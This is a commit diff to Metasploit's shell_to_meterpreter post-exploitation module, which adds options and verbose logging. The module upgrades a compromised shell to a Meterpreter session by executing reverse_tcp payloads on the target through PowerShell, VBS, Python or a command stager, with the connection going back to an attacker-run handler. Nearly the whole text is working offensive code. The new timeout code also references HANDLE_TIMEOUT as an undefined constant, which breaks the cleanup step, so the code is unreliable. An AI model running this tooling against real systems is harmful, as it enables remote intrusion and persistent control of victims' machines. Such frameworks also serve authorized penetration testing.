shell_to_meterpreter - more options, more verbose
...less bugs!
parent
f279c6ca3f
commit
faa7ed2b68
|
@ -31,16 +31,29 @@ class Metasploit3 < Msf::Post
|
||||||
OptAddress.new('LHOST',
|
OptAddress.new('LHOST',
|
||||||
[false, 'IP of host that will receive the connection from the payload.']),
|
[false, 'IP of host that will receive the connection from the payload.']),
|
||||||
OptInt.new('LPORT',
|
OptInt.new('LPORT',
|
||||||
[false, 'Port for Payload to connect to.', 4433]),
|
[false, 'Port for payload to connect to.', 4433]),
|
||||||
OptBool.new('HANDLER',
|
OptBool.new('HANDLER',
|
||||||
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
|
[ true, 'Start exploit/multi/handler to receive the connection.', true])
|
||||||
|
], self.class)
|
||||||
|
register_advanced_options([
|
||||||
|
OptInt.new('HANDLE_TIMEOUT',
|
||||||
|
[false, 'How long to wait for the session to come back', 30]),
|
||||||
|
OptString.new('WIN_TRANSFER',
|
||||||
|
[false, 'Which method to try first to transfer files on a Windows target. Valid values are: POWERSHELL, VBS', 'POWERSHELL']),
|
||||||
|
OptString.new('PAYLOAD_OVERWRITE',
|
||||||
|
[false, 'Overwrite the default payload', nil])
|
||||||
], self.class)
|
], self.class)
|
||||||
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Run Method for when run command is issued
|
# Run method for when run command is issued
|
||||||
def run
|
def run
|
||||||
print_status("Upgrading session: #{datastore['SESSION']}")
|
print_status("Upgrading session ID: #{datastore['SESSION']}")
|
||||||
|
|
||||||
|
if session.type =~ /meterpreter/
|
||||||
|
print_error("Shell type is already Meterpreter.")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
# Try hard to find a valid LHOST value in order to
|
# Try hard to find a valid LHOST value in order to
|
||||||
# make running 'sessions -u' as robust as possible.
|
# make running 'sessions -u' as robust as possible.
|
||||||
|
@ -52,7 +65,7 @@ class Metasploit3 < Msf::Post
|
||||||
lhost = session.tunnel_local.split(':')[0]
|
lhost = session.tunnel_local.split(':')[0]
|
||||||
end
|
end
|
||||||
|
|
||||||
# If nothing else works....
|
# If nothing else works...
|
||||||
lhost = Rex::Socket.source_address if lhost.blank?
|
lhost = Rex::Socket.source_address if lhost.blank?
|
||||||
|
|
||||||
lport = datastore['LPORT']
|
lport = datastore['LPORT']
|
||||||
|
@ -65,14 +78,17 @@ class Metasploit3 < Msf::Post
|
||||||
lplat = [Msf::Platform::Windows]
|
lplat = [Msf::Platform::Windows]
|
||||||
larch = [ARCH_X86]
|
larch = [ARCH_X86]
|
||||||
psh_arch = 'x86'
|
psh_arch = 'x86'
|
||||||
|
print_status("Platform: Windows") if datastore['VERBOSE']
|
||||||
when /osx/i
|
when /osx/i
|
||||||
platform = 'python'
|
platform = 'python'
|
||||||
payload_name = 'python/meterpreter/reverse_tcp'
|
payload_name = 'python/meterpreter/reverse_tcp'
|
||||||
|
print_status("Platform: OS X") if datastore['VERBOSE']
|
||||||
when /solaris/i
|
when /solaris/i
|
||||||
platform = 'python'
|
platform = 'python'
|
||||||
payload_name = 'python/meterpreter/reverse_tcp'
|
payload_name = 'python/meterpreter/reverse_tcp'
|
||||||
|
print_status("Platform: Solaris") if datastore['VERBOSE']
|
||||||
else
|
else
|
||||||
# Find the best fit, be specific w/ uname to avoid matching hostname or something else
|
# Find the best fit, be specific with uname to avoid matching hostname or something else
|
||||||
target_info = cmd_exec('uname -mo')
|
target_info = cmd_exec('uname -mo')
|
||||||
if target_info =~ /linux/i && target_info =~ /86/
|
if target_info =~ /linux/i && target_info =~ /86/
|
||||||
# Handle linux shells that were identified as 'unix'
|
# Handle linux shells that were identified as 'unix'
|
||||||
|
@ -80,12 +96,16 @@ class Metasploit3 < Msf::Post
|
||||||
payload_name = 'linux/x86/meterpreter/reverse_tcp'
|
payload_name = 'linux/x86/meterpreter/reverse_tcp'
|
||||||
lplat = [Msf::Platform::Linux]
|
lplat = [Msf::Platform::Linux]
|
||||||
larch = [ARCH_X86]
|
larch = [ARCH_X86]
|
||||||
|
print_status("Platform: Linux") if datastore['VERBOSE']
|
||||||
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
|
elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/
|
||||||
# Generic fallback for OSX, Solaris, Linux/ARM
|
# Generic fallback for OSX, Solaris, Linux/ARM
|
||||||
platform = 'python'
|
platform = 'python'
|
||||||
payload_name = 'python/meterpreter/reverse_tcp'
|
payload_name = 'python/meterpreter/reverse_tcp'
|
||||||
|
print_status("Platform: Python [fallback]") if datastore['VERBOSE']
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
|
||||||
|
print_status("Upgrade payload: #{payload_name}") if datastore['VERBOSE']
|
||||||
|
|
||||||
if platform.blank?
|
if platform.blank?
|
||||||
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
|
print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
|
||||||
|
@ -101,28 +121,36 @@ class Metasploit3 < Msf::Post
|
||||||
if datastore['HANDLER']
|
if datastore['HANDLER']
|
||||||
listener_job_id = create_multihandler(lhost, lport, payload_name)
|
listener_job_id = create_multihandler(lhost, lport, payload_name)
|
||||||
if listener_job_id.blank?
|
if listener_job_id.blank?
|
||||||
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
case platform
|
case platform
|
||||||
when 'win'
|
when 'win'
|
||||||
if have_powershell?
|
if (have_powershell?) && (datastore['WIN_TRANSFER'] != 'VBS')
|
||||||
|
print_status("Transfer method: Powershell") if datastore['VERBOSE']
|
||||||
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
|
||||||
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
|
||||||
else
|
else
|
||||||
|
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
|
||||||
|
print_status("Transfer method: VBS [fallback]") if datastore['VERBOSE']
|
||||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||||
aborted = transmit_payload(exe)
|
aborted = transmit_payload(exe)
|
||||||
end
|
end
|
||||||
when 'python'
|
when 'python'
|
||||||
|
print_status("Transfer method: Python") if datastore['VERBOSE']
|
||||||
cmd_exec("python -c \"#{payload_data}\"")
|
cmd_exec("python -c \"#{payload_data}\"")
|
||||||
else
|
else
|
||||||
|
print_status("Transfer method: Bourne shell [fallback]") if datastore['VERBOSE']
|
||||||
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
|
||||||
aborted = transmit_payload(exe)
|
aborted = transmit_payload(exe)
|
||||||
end
|
end
|
||||||
|
|
||||||
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
|
if datastore['HANDLER']
|
||||||
|
print_status("Cleaning up handler") if datastore['VERBOSE']
|
||||||
|
cleanup_handler(listener_job_id, aborted)
|
||||||
|
end
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -150,7 +178,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
cmds = cmdstager.generate(opts)
|
cmds = cmdstager.generate(opts)
|
||||||
if cmds.nil? || cmds.length < 1
|
if cmds.nil? || cmds.length < 1
|
||||||
print_error('The command stager could not be generated')
|
print_error('The command stager could not be generated.')
|
||||||
raise ArgumentError
|
raise ArgumentError
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -160,6 +188,7 @@ class Metasploit3 < Msf::Post
|
||||||
total_bytes = 0
|
total_bytes = 0
|
||||||
cmds.each { |cmd| total_bytes += cmd.length }
|
cmds.each { |cmd| total_bytes += cmd.length }
|
||||||
|
|
||||||
|
print_status("Starting transfer...") if datastore['VERBOSE']
|
||||||
begin
|
begin
|
||||||
#
|
#
|
||||||
# Run the commands one at a time
|
# Run the commands one at a time
|
||||||
|
@ -198,17 +227,16 @@ class Metasploit3 < Msf::Post
|
||||||
def cleanup_handler(listener_job_id, aborted)
|
def cleanup_handler(listener_job_id, aborted)
|
||||||
# Return if the job has already finished
|
# Return if the job has already finished
|
||||||
return nil if framework.jobs[listener_job_id].nil?
|
return nil if framework.jobs[listener_job_id].nil?
|
||||||
|
|
||||||
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
|
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) {
|
||||||
if !aborted
|
if !aborted
|
||||||
timer = 0
|
timer = 0
|
||||||
while !framework.jobs[listener_job_id].nil? && timer < 10
|
print_status("Waiting up to #{HANDLE_TIMEOUT} seconds for the session to come back") if datastore['VERBOSE']
|
||||||
# Wait up to 10 seconds for the session to come in..
|
while !framework.jobs[listener_job_id].nil? && timer < HANDLE_TIMEOUT
|
||||||
sleep(1)
|
sleep(1)
|
||||||
timer += 1
|
timer += 1
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
print_status('Stopping multi/handler')
|
print_status('Stopping exploit/multi/handler')
|
||||||
framework.jobs.stop_job(listener_job_id)
|
framework.jobs.stop_job(listener_job_id)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
@ -218,7 +246,7 @@ class Metasploit3 < Msf::Post
|
||||||
#
|
#
|
||||||
def progress(total, sent)
|
def progress(total, sent)
|
||||||
done = (sent.to_f / total.to_f) * 100
|
done = (sent.to_f / total.to_f) * 100
|
||||||
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
|
print_status("Command stager progress: %3.2f%% (%d/%d bytes)" % [done.to_f, sent, total])
|
||||||
end
|
end
|
||||||
|
|
||||||
# Method for checking if a listener for a given IP and port is present
|
# Method for checking if a listener for a given IP and port is present
|
||||||
|
@ -238,12 +266,12 @@ class Metasploit3 < Msf::Post
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
# Starts a multi/handler session
|
# Starts a exploit/multi/handler session
|
||||||
def create_multihandler(lhost, lport, payload_name)
|
def create_multihandler(lhost, lport, payload_name)
|
||||||
pay = client.framework.payloads.create(payload_name)
|
pay = client.framework.payloads.create(payload_name)
|
||||||
pay.datastore['LHOST'] = lhost
|
pay.datastore['LHOST'] = lhost
|
||||||
pay.datastore['LPORT'] = lport
|
pay.datastore['LPORT'] = lport
|
||||||
print_status('Starting exploit multi handler')
|
print_status('Starting exploit/multi/handler')
|
||||||
if !check_for_listener(lhost, lport)
|
if !check_for_listener(lhost, lport)
|
||||||
# Set options for module
|
# Set options for module
|
||||||
mh = client.framework.exploits.create('multi/handler')
|
mh = client.framework.exploits.create('multi/handler')
|
||||||
|
|
Loading…
Reference in New Issue